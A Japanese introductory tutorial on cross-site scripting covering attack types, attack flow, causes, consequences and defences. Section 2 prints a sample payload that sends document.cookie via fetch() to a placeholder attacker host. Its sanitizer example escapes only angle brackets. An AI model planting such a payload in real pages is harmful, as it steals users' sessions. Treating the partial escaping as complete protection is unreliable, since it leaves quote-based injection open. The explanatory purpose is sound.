クロスサイトスクリプティング（XSS）とは？わかりやすく解説

<br>

## ■ はじめに
<br>

クロスサイトスクリプティング（以下、XSS）とはWebサイトやアプリケーションのセキュリティ上の脅威の一つで、
特定のスクリプトをユーザーのブラウザで実行させることで個人情報漏洩やアカウント乗っ取りを引き起こす悪意のある攻撃のことです。

他の悪意のある攻撃に関してはSQLインジェクションについて以下で記事にしていますので
興味のある方は合わせてお読みください。

https://qiita.com/e-tak/items/702166f57e96591da5eb

本記事では、XSSの基本や攻撃の流れ、発生原因、対策について解説します。

## ■ 目次
<br>

1. [クロスサイトスクリプティング攻撃（XSS）とは](#1-クロスサイトスクリプティング攻撃xssとは)
2. [XSS攻撃の流れ](#2-xss攻撃の流れ)
3. [XSS発生原因](#3-xss発生原因)
4. [XSS攻撃を受けたらどうなるか](#4-xss攻撃を受けたらどうなるか)
5. [XSSの対策](#5-xssの対策)
6. [まとめ](#6-まとめ)

## 1. クロスサイトスクリプティング攻撃（XSS）とは
<br>

XSS（Cross-Site Scripting）とはWebサイトやWebアプリケーションに悪意のあるスクリプトを挿入し、ユーザーのブラウザで実行させる攻撃手法です。
このXSSによる攻撃により、攻撃者はCookie情報の盗難やフィッシング詐欺の誘導、ユーザーの操作権限の奪取などを行うことができてしまうのです。

### 主なXSSの種類

- **反射型（Reflected XSS）**
    - 特定のリンクを通じてスクリプトが実行されるタイプ
- **格納型（Stored XSS）**
    - データベースに保存されたスクリプトが複数のユーザーに対して実行されるタイプ
- **DOMベースXSS**
    - DOM操作を通じて発生するタイプ

## 2. XSS攻撃の流れ
<br>

ではXSS攻撃はどのようにして実行されるのでしょうか。以下がその流れの例になります。
<br>

1. **悪意のあるスクリプトの埋め込み**  

    攻撃者はWebサイトのフォームやコメント欄などを利用して、悪意あるスクリプトを埋め込みます。
    例えば以下のようなスクリプトを予め投稿内容に含めておくことで、意図的にXSS攻撃を仕掛けることが可能です。

```html
<script>
  fetch("https://malicious-site.com/steal?cookie=" + document.cookie);
</script>
```

上記のスクリプトの例はユーザーのブラウザで実行されると、document.cookieを取得し、攻撃者のサイトに送信するようになっています。
    そのため攻撃者にはcookieを取得できることになってしまうのです。
<br>

2. **スクリプトの実行**  
   ユーザーがWebサイトを訪問し攻撃者がスクリプトを埋め込んだページを開いてしまうと、ブラウザ上でそのスクリプトが自動的に実行されます。
   例えば掲示板やSNSの投稿などに紛れ込んだスクリプトが実行され、ユーザーは気付かないうちに被害を受けてしまうといったことが考えられます。
<br>

3. **ユーザーへの影響（Cookie情報の盗難や不正リダイレクト）**
スクリプトが実行されるとCookie情報の盗難や、フィッシングサイトへの不正リダイレクトへ繋がってしまう危険性があります。

## 3. XSS発生原因
<br>

XSSが発生する主な原因は**入力されたデータを無処理でWebページに表示**することです。
具体的な発生要因としては以下のようなケースが挙げられます。
<br>

### エスケープ処理不足
  入力データに対するエスケープ処理が適切に行われていない場合、スクリプトがそのままページに表示されユーザーのブラウザ上で実行されるリスクが発生します。
  ユーザーが直接入力するフィードバックやコメント欄などの項目でHTMLやJavaScriptのタグが無処理で表示されているとXSS攻撃を誘発しやすいです。
<br>

### クライアントサイドでの不適切な出力場所
  JavaScriptやDOM操作による動的なページが多用される場合には、クライアントサイドでの不適切な出力処理も原因となることがあります。
  `innerHTML`を使用して動的にページの内容を更新する際に入力データをそのまま設定してしまうといったことでもXSS攻撃のリスクが発生します。
<br>

### サーバーサイドでの脆弱なデータ処理
  サーバーで受け取ったデータを適切に検証せずに保存した場合、そのデータが他のユーザーに対しても悪影響を及ぼすことに繋がります。
  データベースに保存されるユーザーのコメントや投稿内容が無処理で返される場合には格納型XSS（Stored XSS）の脅威が生じます。

## 4. XSS攻撃を受けたらどうなるか
<br>

XSS攻撃による被害は様々ですが、代表的なものとしては以下の3点が挙げられます。

### Cookie情報の盗難
document.cookieにはユーザーのセッション情報が含まれるため、攻撃者はこれを利用してユーザーに成りすましてWebアプリケーションにログインできるようになります。
攻撃者がユーザーのCookie情報を取得すると個人情報の不正取得やアカウント乗っ取りが可能になるため被害が発生する可能性があります。
<br>

### フィッシングサイトへの不正リダイレクト
スクリプトを使ってユーザーを攻撃者が用意したフィッシングサイトへ自動的にリダイレクトさせられてしまうといった被害も考えられます。
リダイレクト先でユーザーが情報を入力してしまうと、攻撃者はその情報を悪用できるようになります。
<br>

### ページの内容改ざん
悪意あるスクリプトによりページの表示内容が改竄されてしまうといったことも考えられます。
意図しない虚偽の内容や偽のボタンが埋め込まれ、不正なサイトにアクセスしたり誤操作をしてしまう可能性があります。

## 5. XSSの対策
<br>

XSS攻撃をさせないためにはどのような対策を取るのが適切でしょうか？


### サニタイジング（スクリプトの無害化）
ユーザーからの入力データをサニタイジング（無害化）しスクリプトが実行されないようにする方法です。
`<`や`>`などの記号をHTMLエンティティに変換することで、ブラウザがそれをスクリプトとして認識しないようにすることが可能です。

```javascript
function sanitize(input) {
    return input.replace(/</g, "&lt;").replace(/>/g, "&gt;");
}
```
このコードでは`<script>`タグが`&lt;script&gt;`に変換されるためスクリプトとしての実行を防いでいます。
サニタイジングはWebアプリケーション全体で一貫して行うことが重要です。

### 入力値を制限する
入力バリデーションを徹底することで不正なデータが挿入されることを未然に防ぐ方法です。
例えば英数字のみ入力をさせたいテキストに対しては特定のフォーマット（アルファベットや数値のみ）に制限するなどの対策が有効です。

```javascript
if (!/^[a-zA-Z0-9]*$/.test(userInput)) {
  alert("不正な文字が含まれています");
}
```

### WAFで防御する
Webアプリケーションファイアウォール（WAF）を使用することで、XSS攻撃を含む不正アクセスを防ぐことも可能です。
WAFはリクエスト内容を解析し特定のルールに基づいて悪意あるアクセスをブロックする機能を持っており、
サーバーへの攻撃を未然に防ぐために非常に効果的です。
多くのWAFはXSS検出のためのプリセットが予め設定されており特別な設定をせずとも一定の防御が可能です。

## 6. まとめ
<br>

- XSS（クロスサイトスクリプティング）は
    - Webアプリケーションやサイトの脆弱性を悪用しユーザーに対する不正なスクリプト実行を行う攻撃手法
    - Cookie情報の盗難やフィッシング詐欺、ページ内容の改ざんなど深刻な被害が生じる可能性がある


- XSS（クロスサイトスクリプティング）を防ぐためには
    - サニタイジングや入力値の制限、WAFの導入など、Webアプリケーション全体での一貫した対策が重要
    - 防御方法を適切に実施することで、XSS攻撃によるリスクを大幅に軽減することが可能